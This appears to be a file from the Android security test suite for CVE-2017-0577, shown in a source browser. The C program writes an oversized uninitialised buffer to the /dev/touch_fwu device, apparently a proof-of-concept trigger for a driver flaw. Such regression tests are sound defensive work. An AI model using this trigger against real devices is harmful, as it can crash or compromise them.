Home | History | Annotate | Download | only in CVE-2017-0577
      1 /*
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 #define _GNU_SOURCE
     17 
     18 #include <stdio.h>
     19 #include <stdlib.h>
     20 #include <string.h>
     21 #include <unistd.h>
     22 #include <errno.h>
     23 #include <asm/ioctl.h>
     24 #include <sys/types.h>
     25 #include <sys/wait.h>
     26 #include <fcntl.h>
     27 
     28 int test_touch_fwu(){
     29     char* dev_name = "/dev/touch_fwu";
     30     int fd = open(dev_name, O_RDWR);
     31 
     32     if (fd < 0)	{
     33 	return -1;
     34     }
     35 
     36     size_t buf_len = 0xfffff;
     37     char* buf = (char*) malloc(buf_len);
     38     if (buf == NULL ) {
     39 	return -1;
     40     }
     41 
     42     int ret = 0;
     43     ret = write(fd, buf, buf_len);
     44     free(buf);
     45     return ret;
     46 }
     47 
     48 int main()
     49 {
     50     test_touch_fwu();
     51     return 0;
     52 }
     53 
     54